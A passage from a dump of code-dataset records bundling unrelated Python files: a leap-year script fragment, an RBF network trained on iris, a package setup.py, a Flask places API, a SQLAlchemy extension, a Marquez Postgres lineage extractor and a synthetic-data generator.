0:\n \n if (year % 4) == 0:\n if (year % 100) == 0:\n if (year % 400) == 0:\n print(\"{0} is a leap year\".format(year))\n year = int(input(\"Enter year to check if is a leap year or enter 0 to quit: \"))\n else:\n print(\"{0} is not a leap year\".format(year))\n year = int(input(\"Enter year to check if is a leap year or enter 0 to quit: \"))\n\nif __name__ == \"__main__\":\n\n leap_year()","sub_path":"leap_year.py","file_name":"leap_year.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"490823221","text":"import itertools\nfrom typing import List\n\nimport numpy as np\nfrom sklearn.metrics import confusion_matrix, accuracy_score\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.utils import shuffle\n\nfrom backpropagation_perceptron import BackpropagationPerceptron as Perceptron\nfrom nn_utils import one_hot_decode, load_folded_and_zero_normalized_iris, format_multineuron_network_output\n\n\ndef phi(first_vector: np.ndarray,\n second_vector: np.ndarray,\n sigma: float\n ) -> float:\n dividend = - np.linalg.norm(first_vector - second_vector) ** 2\n divisor = 2 * (sigma ** 2)\n\n expoent = dividend / divisor\n phi_result = np.exp(expoent)\n return phi_result\n\n\ndef compute_rbf_hidden_layer_output(centroids: np.ndarray,\n input_vector: np.ndarray,\n sigma: float\n ) -> np.ndarray:\n hlo = [phi(first_vector=current_centroid, second_vector=input_vector, sigma=sigma)\n for current_centroid\n in centroids]\n hlo = np.asarray(hlo)\n return hlo\n\n\ndef train_rbf_output_layer(neurons: List[Perceptron],\n hidden_layer_output: np.ndarray,\n expected_output: np.ndarray\n ):\n for neuron_index, neuron in enumerate(neurons):\n neuron.predict_and_learn_as_output_layer(input_vector=hidden_layer_output,\n expected_output=expected_output[neuron_index])\n\n\ndef compute_rbf_output_layer_output(neurons: List[Perceptron],\n hidden_layer_output: np.ndarray\n ) -> np.ndarray:\n output = np.ndarray(len(neurons))\n for neuron_index, neuron in enumerate(neurons):\n output[neuron_index] = neuron.get_output_signal(input_vector=hidden_layer_output)\n\n return output\n\n\ndef main():\n for train_instances, train_labels, test_instances, test_labels in load_folded_and_zero_normalized_iris():\n classes_count = 3\n\n # We could use KMeans to find K centroids... Or we could use the usually-unfeasible strategy of using\n # each instance as a centroid :3 we'll do that, since the dataset is small enough\n centroids = train_instances\n centroid_count = train_instances.shape[0]\n\n # To compute the sigma we use 2 in the following func because we need to combine each centroid to each other,\n # hence all combinations, 2 by 2\n all_combinations_of_centroids = list(itertools.combinations(centroids, 2))\n all_distances = (np.linalg.norm(v1 - v2) for v1, v2 in all_combinations_of_centroids)\n sigma = max(all_distances) / np.sqrt(\n 2 * centroid_count) # Number of classes is multiplied by 2 because the algorithm says so\n\n if sigma == 0:\n raise Exception(\"wtf\")\n\n # The network itself is basically the output neuron + the centroids\n output_neurons = [Perceptron(n_inputs=len(centroids)),\n Perceptron(n_inputs=len(centroids)),\n Perceptron(n_inputs=len(centroids))]\n\n # Training the network\n train_labels = OneHotEncoder(sparse=False).fit_transform(X=train_labels)\n maximum_eras = 200\n for era in range(maximum_eras):\n train_instances, train_labels = shuffle(train_instances, train_labels)\n for instance, label in zip(train_instances, train_labels):\n hidden_layer_output = compute_rbf_hidden_layer_output(centroids=centroids,\n input_vector=instance,\n sigma=sigma)\n train_rbf_output_layer(neurons=output_neurons,\n hidden_layer_output=hidden_layer_output,\n expected_output=label)\n\n # Testing\n predicted_labels = []\n for instance, label in zip(test_instances, test_labels):\n hidden_layer_output = compute_rbf_hidden_layer_output(centroids=centroids,\n input_vector=instance,\n sigma=sigma)\n\n rbf_output = compute_rbf_output_layer_output(neurons=output_neurons,\n hidden_layer_output=hidden_layer_output)\n rbf_output = format_multineuron_network_output(rbf_output)\n\n predicted_labels.append(rbf_output)\n\n predicted_labels = np.asarray(predicted_labels)\n\n # Decoding labels\n test_labels = one_hot_decode(test_labels)\n predicted_labels = one_hot_decode(predicted_labels)\n\n print(f\"RBF Accuracy: {accuracy_score(y_true=test_labels, y_pred=predicted_labels)}\"\n f\"\\nMLP confusion matrix\"\n f\"\\n{confusion_matrix(y_true=test_labels, y_pred=predicted_labels)}\"\n f\"\\n\")\n\n # # Algorithm parameters\n # maximum_eras = 200\n # shuffle_every_n_eras = 5\n #\n # # Loading the dataset\n # all_instances, all_labels = load_iris(return_X_y=True)\n #\n # # Because reasons\n # all_instances = all_instances.astype(float)\n # all_labels = all_labels.reshape(-1, 1).astype(float)\n #\n # # Normalizing the dataset\n # all_instances = MinMaxScaler().fit_transform(all_instances)\n #\n # # K-Folding\n # set_splitter = StratifiedKFold(n_splits=10, shuffle=True)\n # for train_indexes, test_indexes in set_splitter.split(X=all_instances, y=all_labels):\n # # Separating the instances and labels\n # train_instances = np.asarray([all_instances[i] for i in train_indexes])\n # train_labels = [all_labels[i] for i in train_indexes]\n #\n # test_instances = np.asarray([all_instances[i] for i in test_indexes])\n # test_labels = [all_labels[i] for i in test_indexes]\n #\n # # Since our network will have a single neuron, we must encode the classes\n # train_labels = OneHotEncoder(sparse=False).fit_transform(X=train_labels)\n # test_labels = OneHotEncoder(sparse=False).fit_transform(X=test_labels)\n #\n # # Finding the centroids\n # centroid_count = 150\n # # centroids = KMeans(n_clusters=centroid_count).fit(test_instances).cluster_centers_\n # # centroids = np.asarray(centroids)\n # centroids = train_instances\n #\n # # Computing the sigma\n # # We use 2 in the following func because we need to combine each centroi to each other, hence all combinations,\n # # 2 by 2\n # all_combinations_of_centroids = list(itertools.combinations(centroids, 2))\n # all_distances = (np.linalg.norm(v1 - v2) for v1, v2 in all_combinations_of_centroids)\n #\n # # Number of classes is multiplied by 2 because the algorithm says so\n # sigma = max(all_distances) / np.sqrt(2 * centroid_count)\n # if sigma == 0:\n # print(\"wtf\")\n #\n # # The network itself is basically the output neuron + the centroids\n # output_neurons = [Perceptron(n_inputs=len(centroids)),\n # Perceptron(n_inputs=len(centroids)),\n # Perceptron(n_inputs=len(centroids))]\n #\n # # Training the network\n # for era in range(maximum_eras):\n # if era % shuffle_every_n_eras:\n # train_instances, train_labels = shuffle(train_instances, train_labels)\n #\n # for instance, label in zip(train_instances, train_labels):\n # hidden_layer_output = compute_rbf_hidden_layer_output(centroids=centroids,\n # input_vector=instance,\n # sigma=sigma)\n #\n # train_rbf_output_layer(neurons=output_neurons,\n # hidden_layer_output=hidden_layer_output,\n # expected_output=label)\n #\n # # Testing\n # predicted_labels = []\n # for instance in test_instances:\n # hidden_layer_output = compute_rbf_hidden_layer_output(centroids=centroids,\n # input_vector=instance,\n # sigma=sigma)\n #\n # rbf_output = compute_rbf_output_layer_output(neurons=output_neurons,\n # hidden_layer_output=hidden_layer_output)\n # rbf_output = format_multineuron_network_output(rbf_output)\n # predicted_labels.append(rbf_output)\n #\n # predicted_labels = np.asarray(predicted_labels)\n #\n # # Decoding labels\n # test_labels = one_hot_decode(test_labels)\n # predicted_labels = one_hot_decode(predicted_labels)\n #\n # print(f\"RBF Accuracy: {accuracy_score(y_true=test_labels, y_pred=predicted_labels)}\")\n # print(\"MLP confusion matrix\")\n # print(confusion_matrix(y_true=test_labels, y_pred=predicted_labels))\n # print()\n\n\nif __name__ == '__main__':\n main()\n print(\"\\nDone!\")\n","sub_path":"nn/radial_basis_function.py","file_name":"radial_basis_function.py","file_ext":"py","file_size_in_byte":9335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"591629595","text":"import setuptools\n\nVERSION = '0.3rc0'\n\nsetuptools.setup(\n name='fabulus',\n version=VERSION,\n author='Stefan B, Alexander R',\n author_email='Steve2608@users.noreply.github.com',\n url='https://github.com/AlexRaschl/FABULUS-A-machine-learning-enterprise',\n download_url='https://github.com/AlexRaschl/FABULUS-A-machine-learning-enterprise/archive/'\n f'v_{VERSION}.tar.gz',\n description='Utility packages for Machine Learning and Data Visualisation',\n packages=[\n 'fabulus',\n 'fabulus/_internal',\n 'fabulus/io',\n 'fabulus/net',\n 'fabulus/postprocessing',\n 'fabulus/unsup',\n 'fabulus/vis',\n ],\n classifiers=[\n 'Programming Language :: Python :: 3.6',\n 'Operating System :: OS Independent'\n ],\n install_requires=[\n 'matplotlib',\n 'numpy',\n 'sklearn',\n 'seaborn',\n 'tensorflow'\n ]\n)\n","sub_path":"pypi_install_script/fabulus-0.3rc0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"34794981","text":"#!/usr/bin/python3\n\"\"\"\nNew view for State objects that handles all default\nRestFul API actions\n\"\"\"\nfrom flask import Flask, jsonify, Blueprint, abort, request\nfrom api.v1.views import app_views\nfrom models import storage\nfrom models.state import State\nfrom models.city import City\nfrom models.place import Place\nfrom models.user import User\n\n\n@app_views.route('/cities//places',\n methods=['GET'], strict_slashes=False)\ndef all_places(city_id=None):\n \"\"\" Retrieves the list of all places of a City objects \"\"\"\n cities_id = storage.get(City, city_id)\n if cities_id is None:\n abort(404)\n list_dic_places = []\n for place in cities_id.places:\n list_dic_places.append(place.to_dict())\n\n return jsonify(list_dic_places)\n\n\n@app_views.route('/places/', methods=['GET'], strict_slashes=False)\ndef places_id(place_id=None):\n \"\"\" Retrieves a Place object \"\"\"\n places_id = storage.get(Place, place_id)\n if places_id is None:\n abort(404)\n\n return jsonify(places_id.to_dict())\n\n\n@app_views.route('/places/', methods=['DELETE'],\n strict_slashes=False)\ndef delete_place(place_id=None):\n \"\"\" Delete a Place object \"\"\"\n places_id = storage.get(Place, place_id)\n if places_id is None:\n abort(404)\n\n storage.delete(places_id)\n storage.save()\n\n return jsonify({}), 200\n\n\n@app_views.route('/cities//places',\n methods=['POST'], strict_slashes=False)\ndef create_place(city_id):\n \"\"\" Create a Place object \"\"\"\n cities_id = storage.get(City, city_id)\n if cities_id is None:\n abort(404)\n if not request.get_json():\n return jsonify({\"error\": \"Not a JSON\"}), 400\n if 'user_id' not in request.get_json():\n return jsonify({\"error\": \"Missing user_id\"}), 400\n\n req_place = request.get_json()\n if storage.get(User, req_place['user_id']) is None:\n abort(404)\n if 'name' not in req_place:\n return jsonify({\"error\": \"Missing name\"}), 400\n\n req_place['city_id'] = city_id\n req_place['user_id'] = req_place['user_id']\n new_place = Place(**req_place) # kwargs\n\n storage.new(new_place)\n storage.save()\n\n return jsonify(new_place.to_dict()), 201\n\n\n@app_views.route('/places/', methods=['PUT'], strict_slashes=False)\ndef update_place_id(place_id=None):\n \"\"\" Update a City object \"\"\"\n places_id = storage.get(Place, place_id)\n req_place = request.get_json()\n if places_id is None:\n abort(404)\n if not req_place:\n return jsonify({\"error\": \"Not a JSON\"}), 400\n\n for key, values in req_place.items():\n if key not in ['id', 'user_id', 'city_id', 'created_at', 'update_at']:\n setattr(places_id, key, values)\n\n storage.save()\n\n return jsonify(places_id.to_dict()), 200\n","sub_path":"api/v1/views/places.py","file_name":"places.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"430009665","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.5 (62131)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.5-i386/egg/brainfreeze/extension.py\n# Compiled at: 2008-11-10 02:21:45\n\"\"\"OneToOne MapperExtension\"\"\"\nfrom sqlalchemy import util\nfrom sqlalchemy.orm import MapperExtension, class_mapper, EXT_CONTINUE\nfrom sqlalchemy.exceptions import ArgumentError\nfrom properties import one_to_one\n__all__ = [\n 'OneToOneMapperExtension']\n\nclass OneToOneMapperExtension(MapperExtension):\n \"\"\"MapperExtension to proxy properties on one-to-one relations.\n\n This extension proxies access to all properties of the specified\n one-to-one relations without an intermediate layer. \n \n The intended use case is to allow a type composed of multiple tables to\n be easily mapped and queried as if it were one table.\n\n \"\"\"\n\n def __init__(self, *related_classes, **kwargs):\n if len(util.to_list(related_classes)) != len(util.to_set(related_classes)):\n raise ArgumentError('Name collision, classes may only be specified once: %r' % related_classes)\n self.related_classes = util.to_list(related_classes)\n self.property_prefix = kwargs.get('property_prefix', '_')\n\n def instrument_class(self, mapper, class_):\n for value_class in self.related_classes:\n value_mapper = class_mapper(value_class, compile=False)\n key = self.property_prefix + value_mapper.local_table.key\n if key in mapper._init_properties:\n raise ArgumentError(\"OneToOne relation '%s' conflicts with existing property\" % key)\n mapper._init_properties[key] = one_to_one(value_class)\n\n return EXT_CONTINUE","sub_path":"pycfiles/BrainFreeze-0.1rc2-py2.5/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"115339639","text":"'''\nThis module contains utility functions for interacting with Notepad++.\n'''\n\nimport Npp\n\ndef eol_string():\n '''\n Returns the EOL string that the corresponds to the current EOL mode.\n '''\n eol_mode = Npp.editor.getEOLMode()\n eol_mode_character_map = {\n int(Npp.ENDOFLINE.CRLF) : '\\r\\n',\n int(Npp.ENDOFLINE.CR) : '\\r',\n int(Npp.ENDOFLINE.LF) : '\\n'}\n return eol_mode_character_map[eol_mode]\n","sub_path":"npp_utils.py","file_name":"npp_utils.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"649298433","text":"from __future__ import division\nimport cPickle\nimport dependency_tree\nimport itertools\nimport numpy as np\nfrom collections import Counter, defaultdict\nfrom scipy import stats\nfrom scipy.stats import entropy\n\n\ndef get_stats_rst(rstdeps):\n heights = []\n node_depths = Counter()\n root_position = Counter()\n root_first = 0\n root_last = 0\n num_roots = 0\n normalized_arc_lengths = []\n leaf_node_proportions = []\n parent_entropies = []\n\n for rstdep in rstdeps:\n edges = rstdep.edges\n\n deps = defaultdict(list)\n for edge in edges:\n parent = edge.tgt_idx\n child = edge.src_idx\n if parent is None:\n parent = -1\n deps[parent].append(child)\n\n parents = deps.keys() # includes root -1\n num_nodes = len(list(itertools.chain.from_iterable(deps.values())))\n\n # how long are the edges?\n normalized_arc_lengths.extend(get_arc_length(edges))\n\n # how many nodes are leaves?\n num_parents = len(parents) - 1 # don't count root\n leaf_node_proportions.append(get_leaf_proportion(edges, num_parents))\n\n # how many children per parent?\n parent_entropies.append(entropy_for_parents(parents))\n\n heights.append(len(deps.keys()))\n # build node depth for this doc\n doc_node_depths = {}\n for parent_num, parent in enumerate(deps.keys()):\n doc_node_depths[parent_num] = len(deps[parent])\n\n for key, value in doc_node_depths.items():\n node_depths[key] += value\n\n roots = np.array(deps[-1])\n\n for root in roots:\n num_roots += 1\n if root == 0:\n root_first += 1\n elif root == num_nodes-1:\n root_last += 1\n # create 3 bins, for beginning, middle, end of doc\n bins = np.array_split(np.arange(num_nodes), 3)\n for ix, bin in enumerate(bins):\n if root in bin:\n root_position[ix] += 1\n\n print(\"Stats for normalized arc length: \", np.mean(np.array(normalized_arc_lengths)),\n np.std(np.array(normalized_arc_lengths)), np.min(np.array(normalized_arc_lengths)),\n np.max(np.array(normalized_arc_lengths)))\n print(\"Stats for leaf node proportions: \", np.mean(np.array(leaf_node_proportions)),\n np.std(np.array(leaf_node_proportions)), np.min(np.array(leaf_node_proportions)),\n np.max(np.array(leaf_node_proportions)))\n print(\"Stats for parent entropy: \", np.mean(np.array(parent_entropies)),\n np.std(np.array(parent_entropies)), np.min(np.array(parent_entropies)),\n np.max(np.array(parent_entropies)))\n print(\"Processed \", len(rstdeps), \" trees.\")\n print(\"\\nStats for heights: \")\n print(np.mean(heights), np.std(heights), np.min(heights), np.max(heights), Counter(heights).keys(),\n Counter(heights).values() / np.sum(Counter(heights).values()))\n print(\"\\nStats for node depths: \")\n print(node_depths.keys(), node_depths.values() / np.sum(node_depths.values()))\n print(\"\\nRoot to position in sentence: \")\n print(\"First: \", root_first/num_roots, \", Last: \", root_last/num_roots, \"Bins: \", root_position.keys(),\n root_position.values() / np.sum(root_position.values()))\n\n\ndef get_stats(docs):\n heights = []\n node_depths = Counter()\n sentiments = []\n sent_scores = []\n other_sent_scores = []\n root_sentiments = []\n root_sent_scores = []\n root_position = Counter()\n root_first = 0\n root_last = 0\n correct_docs = 0\n num_roots = 0\n normalized_arc_lengths = []\n leaf_node_proportions = []\n parent_entropies = []\n\n for doc in docs:\n if doc.gold_label == doc.predicted_label:\n # how long are the edges?\n edges = doc.tree.edges\n normalized_arc_lengths.extend(get_arc_length(edges))\n\n # how many nodes are leaves?\n num_parents = len(doc.tree.deps.keys()) - 1 # don't count the root\n leaf_node_proportions.append(get_leaf_proportion(edges, num_parents))\n\n # how many children per parent?\n parent_entropies.append(get_parent_entropy(doc, edges))\n\n correct_docs += 1\n heights.append(doc.tree.height)\n for key, value in doc.tree.node_depths.items():\n node_depths[key] += value\n sentiments.extend(doc.sentiments)\n sent_scores.extend(doc.sentiment_scores)\n roots = np.array(doc.tree.deps[0])-1 # need to subtract to account for 0 root in the tree\n\n for root in roots:\n num_roots += 1\n if root == 0:\n root_first += 1\n elif root == len(doc.sentiments)-1:\n root_last += 1\n # create 3 bins, for beginning, middle, end of doc\n bins = np.array_split(np.arange(len(doc.sentiments)), 3)\n for ix, bin in enumerate(bins):\n if root in bin:\n root_position[ix] += 1\n root_sentiments.append(doc.sentiments[root])\n root_sent_scores.append(doc.sentiment_scores[root])\n mask_roots = np.ones(len(doc.sentiment_scores), bool)\n mask_roots[roots] = False\n other_sent_scores.extend(np.array(doc.sentiment_scores)[mask_roots])\n\n print(\"Stats for normalized arc length: \", np.mean(np.array(normalized_arc_lengths)),\n np.std(np.array(normalized_arc_lengths)), np.min(np.array(normalized_arc_lengths)),\n np.max(np.array(normalized_arc_lengths)))\n print(\"Stats for leaf node proportions: \", np.mean(np.array(leaf_node_proportions)),\n np.std(np.array(leaf_node_proportions)), np.min(np.array(leaf_node_proportions)),\n np.max(np.array(leaf_node_proportions)))\n print(\"Stats for parent entropy: \", np.mean(np.array(parent_entropies)),\n np.std(np.array(parent_entropies)), np.min(np.array(parent_entropies)),\n np.max(np.array(parent_entropies)))\n print(\"Processed \", correct_docs, \" out of \", len(docs), \" documents that were labelled correctly.\")\n print(\"\\nStats for heights: \")\n print(np.mean(heights), np.std(heights), np.min(heights), np.max(heights), Counter(heights).keys(),\n Counter(heights).values() / np.sum(Counter(heights).values()))\n print(\"\\nStats for node depths: \")\n print(node_depths.keys(), node_depths.values() / np.sum(node_depths.values()))\n print(\"\\nStats for sentiments: \")\n print(np.mean(sentiments), np.std(sentiments), Counter(sentiments).keys(),\n Counter(sentiments).values() / np.sum(Counter(sentiments).values()))\n print(\"\\nStats for root sentiments: \")\n print(np.mean(root_sentiments), np.std(root_sentiments), Counter(root_sentiments).keys(),\n Counter(root_sentiments).values() / np.sum(Counter(root_sentiments).values()))\n print(\"\\nStats for sentiment scores: \")\n print(np.mean(np.abs(sent_scores)), np.std(np.abs(sent_scores)))\n print(\"\\nStats for root sentiment scores: \")\n print(np.mean(np.abs(root_sent_scores)), np.std(np.abs(root_sent_scores)))\n print(\"\\nRoot to position in sentence: \")\n print(\"First: \", root_first/num_roots, \", Last: \", root_last/num_roots, \"Bins: \", root_position.keys(),\n root_position.values() / np.sum(root_position.values()))\n t_stat, p_value_two_sided = stats.ttest_ind(np.abs(root_sent_scores), np.abs(other_sent_scores), equal_var=False)\n print(\"T-statistic: \", t_stat, \", p_value for rejecting null hypothesis that mean(other sents) >= mean(root sents)\",\n p_value_two_sided/2)\n\n\ndef get_parent_entropy(doc, edges):\n parents_list = []\n for i in range(1, len(edges) + 1):\n parent = next(key for key, value in doc.tree.deps.items() if i in value)\n parents_list.append(parent)\n return entropy_for_parents(parents_list)\n\n\ndef get_leaf_proportion(edges, num_parents):\n num_leaf_nodes = len(edges) - num_parents\n return num_leaf_nodes / len(edges)\n\n\ndef get_arc_length(edges):\n lengths = np.zeros([len(edges)])\n for i, edge in enumerate(edges):\n tgt_idx = edge.tgt_idx if edge.tgt_idx is not None else (edge.src_idx+1) # account for missing root in rst deps\n lengths[i] = np.abs(edge.src_idx - tgt_idx)\n lengths /= len(edges)\n return lengths\n\n\ndef entropy_for_parents(labels, base=None):\n value, counts = np.unique(labels, return_counts=True)\n return entropy(counts, base=base)\n\n\nif __name__ == '__main__':\n import sys\n from os import path\n\n sys.path.append(path.dirname(path.dirname(path.abspath(__file__))))\n from data_structure import ProcessedDoc\n\n pickle_file = sys.argv[1]\n docs = cPickle.load(open(pickle_file))\n get_stats(docs)","sub_path":"postprocess/processed_doc_stats.py","file_name":"processed_doc_stats.py","file_ext":"py","file_size_in_byte":8785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"306672141","text":"\"\"\"---------------------------------------------------------------------------\nMODULE\n FANotifyUtils - generic methods required for the library\n\nDESCRIPTION\n This module contains the genric methods used by the FANotification library.\n\n---------------------------------------------------------------------------\"\"\"\n\nimport acm\n\ndef string_padding(data, limit=12):\n \"\"\"Performs string padding. It limits the length of logger source in notification logs.\"\"\"\n if len(data) < limit:\n data = data.ljust(limit)\n else:\n data = data[:limit]\n return data \n\ndef get_acm_user(user):\n \"\"\"Get ACM users\"\"\"\n acm_users = []\n invalid_users = []\n user_lst = string_as_list(user)\n if user_lst:\n for usr in user_lst:\n if acm.FUser[usr]:\n acm_users.append(acm.FUser[usr].Name())\n else:\n invalid_users.append(usr)\n return acm_users, invalid_users\n\ndef string_as_list(strng):\n \"\"\"Returns a list from string separated by comma\"\"\"\n lst = []\n if isinstance(strng, str):\n try:\n lst = eval(strng)\n except Exception:\n strng_split = strng.split(',')\n for data in strng_split:\n lst.append(data.strip().strip(\"'\").strip('\"'))\n elif isinstance(strng, type([])):\n for i in strng:\n if isinstance(i, str):\n lst.append(i.strip())\n else:\n lst.append(i)\n return lst\n","sub_path":"Extensions/FANotification/FPythonCode/FANotifyUtils.py","file_name":"FANotifyUtils.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"336170340","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nfrom contextlib import closing\nfrom typing import Optional\nfrom urllib.parse import urlparse\n\nfrom airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.operators.postgres_operator import PostgresOperator\n\nfrom marquez.models import (\n DbTableName,\n DbTableSchema,\n DbColumn\n)\nfrom marquez_airflow.utils import get_normalized_postgres_connection_uri, get_connection\nfrom marquez.sql import SqlMeta, SqlParser\nfrom marquez_airflow.extractors.base import (\n BaseExtractor,\n StepMetadata\n)\nfrom marquez.dataset import Source, Dataset\n\n_TABLE_SCHEMA = 0\n_TABLE_NAME = 1\n_COLUMN_NAME = 2\n_ORDINAL_POSITION = 3\n# Use 'udt_name' which is the underlying type of column\n# (ex: int4, timestamp, varchar, etc)\n_UDT_NAME = 4\n\n\nclass PostgresExtractor(BaseExtractor):\n operator_class = PostgresOperator\n default_schema = 'public'\n\n def __init__(self, operator):\n super().__init__(operator)\n self.conn = None\n\n def extract(self) -> StepMetadata:\n # (1) Parse sql statement to obtain input / output tables.\n sql_meta: SqlMeta = SqlParser.parse(self.operator.sql, self.default_schema)\n\n # (2) Get database connection\n self.conn = get_connection(self._conn_id())\n\n # (3) Default all inputs / outputs to current connection.\n # NOTE: We'll want to look into adding support for the `database`\n # property that is used to override the one defined in the connection.\n source = Source(\n scheme=self._get_scheme(),\n authority=self._get_authority(),\n connection_url=self._get_connection_uri()\n )\n\n database = self.operator.database\n if not database:\n database = self._get_database()\n\n # (4) Map input / output tables to dataset objects with source set\n # as the current connection. We need to also fetch the schema for the\n # input tables to format the dataset name as:\n # {schema_name}.{table_name}\n inputs = [\n Dataset.from_table(\n source=source,\n table_name=in_table_schema.table_name.name,\n schema_name=in_table_schema.schema_name,\n database_name=database\n ) for in_table_schema in self._get_table_schemas(\n sql_meta.in_tables\n )\n ]\n outputs = [\n Dataset.from_table_schema(\n source=source,\n table_schema=out_table_schema,\n database_name=database\n ) for out_table_schema in self._get_table_schemas(\n sql_meta.out_tables\n )\n ]\n\n return StepMetadata(\n name=f\"{self.operator.dag_id}.{self.operator.task_id}\",\n inputs=inputs,\n outputs=outputs,\n context={\n 'sql': self.operator.sql\n }\n )\n\n def _get_connection_uri(self):\n return get_normalized_postgres_connection_uri(self.conn)\n\n def _get_scheme(self):\n return 'postgres'\n\n def _get_database(self) -> str:\n if self.conn.schema:\n return self.conn.schema\n else:\n parsed = urlparse(self.conn.get_uri())\n return f'{parsed.path}'\n\n def _get_authority(self) -> str:\n if self.conn.host and self.conn.port:\n return f'{self.conn.host}:{self.conn.port}'\n else:\n parsed = urlparse(self.conn.get_uri())\n return f'{parsed.hostname}:{parsed.port}'\n\n def _conn_id(self):\n return self.operator.postgres_conn_id\n\n def _information_schema_query(self, table_names: str) -> str:\n return f\"\"\"\n SELECT table_schema,\n table_name,\n column_name,\n ordinal_position,\n udt_name\n FROM information_schema.columns\n WHERE table_name IN ({table_names});\n \"\"\"\n\n def _get_hook(self):\n return PostgresHook(\n postgres_conn_id=self.operator.postgres_conn_id,\n schema=self.operator.database\n )\n\n def _get_table_schemas(\n self, table_names: [DbTableName]\n ) -> [DbTableSchema]:\n # Avoid querying postgres by returning an empty array\n # if no table names have been provided.\n if not table_names:\n return []\n\n # Keeps tack of the schema by table.\n schemas_by_table = {}\n\n hook = self._get_hook()\n with closing(hook.get_conn()) as conn:\n with closing(conn.cursor()) as cursor:\n table_names_as_str = \",\".join(map(\n lambda name: f\"'{name.name}'\", table_names\n ))\n cursor.execute(\n self._information_schema_query(table_names_as_str)\n )\n for row in cursor.fetchall():\n table_schema_name: str = row[_TABLE_SCHEMA]\n table_name: DbTableName = DbTableName(row[_TABLE_NAME])\n table_column: DbColumn = DbColumn(\n name=row[_COLUMN_NAME],\n type=row[_UDT_NAME],\n ordinal_position=row[_ORDINAL_POSITION]\n )\n\n # Attempt to get table schema\n table_key: str = f\"{table_schema_name}.{table_name}\"\n table_schema: Optional[DbTableSchema] = schemas_by_table.get(table_key)\n\n if table_schema:\n # Add column to existing table schema.\n schemas_by_table[table_key].columns.append(table_column)\n else:\n # Create new table schema with column.\n schemas_by_table[table_key] = DbTableSchema(\n schema_name=table_schema_name,\n table_name=table_name,\n columns=[table_column]\n )\n\n return list(schemas_by_table.values())\n","sub_path":"integrations/airflow/marquez_airflow/extractors/postgres_extractor.py","file_name":"postgres_extractor.py","file_ext":"py","file_size_in_byte":6500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"586853021","text":"import os\nfrom datetime import datetime, timedelta\nimport click\nfrom copy import deepcopy as dcpy\n\nimport numpy as np\nfrom numpy.random import MT19937\nfrom numpy.random import RandomState, SeedSequence\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd \nimport holidays\n\nimport configuration as config\n\n@click.command()\n@click.option(\n \"-o\",\n \"--outdir\",\n required=True,\n type=click.Path(),\n help='Path to directory where the synthetic datasets should be stored'\n)\ndef main(outdir):\n rng = RandomState(MT19937(SeedSequence(config.seed)))\n\n berlin_holidays = holidays.DE(prov=\"BW\")\n\n num_employees = 20000\n num_jobsites = 200\n num_areas = 20\n num_qualifications = 40\n num_shifts = 3\n num_days = 356\n\n num_orders = 1000\n df = pd.DataFrame.from_dict({\n \"Einsatzort\": rng.randint(0, num_jobsites, num_orders),\n \"Qualifikation\":rng.randint(0, num_qualifications, num_orders),\n \"Schicht\": rng.randint(0, num_shifts, num_orders),\n \"Tag\": rng.randint(0, num_days, num_orders),\n })\n\n df[\"Tag\"] = df[\"Tag\"].apply(lambda day: datetime(2019, 1, 1)+ timedelta(day))\n df[\"Wochentag\"] = df[\"Tag\"].apply(lambda day: day.strftime(\"%a\"))\n df[\"Feiertag\"] = df[\"Tag\"].apply(lambda day: day in berlin_holidays)\n\n # grouping of jobsites into areas\n area_splits = np.cumsum(rng.randint(1,10,num_areas))\n area_splits = (area_splits.T / area_splits.max()*num_jobsites).astype(int)\n df[\"Ort\"] = df[\"Einsatzort\"].apply(lambda jobsite_id: np.argmax(area_splits>jobsite_id))\n\n offers = []\n for _ in range(len(df)):\n offers.append(\n rng.choice(range(num_employees), replace=False, size=rng.randint(1,6)).tolist()\n )\n\n df[\"Mitarbeiter ID\"] = offers\n\n\n train, test = train_test_split(df)\n \n train.to_csv(\n os.path.join(outdir, \"train.tsv\"),\n index=False,\n sep=\"\\t\"\n )\n test.to_csv(\n os.path.join(outdir, \"test_truth.tsv\"),\n index=False,\n sep=\"\\t\"\n )\n test[[\"Einsatzort\", \"Qualifikation\", \"Schicht\", \"Tag\", \"Wochentag\", \"Feiertag\", \"Ort\"]].to_csv(\n os.path.join(outdir, \"test_publish.tsv\"),\n index=False,\n sep=\"\\t\"\n )\n\n\nif __name__ == '__main__':\n main()","sub_path":"src/synthesize.py","file_name":"synthesize.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"343214489","text":"\"\"\"MAB_ERP URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add 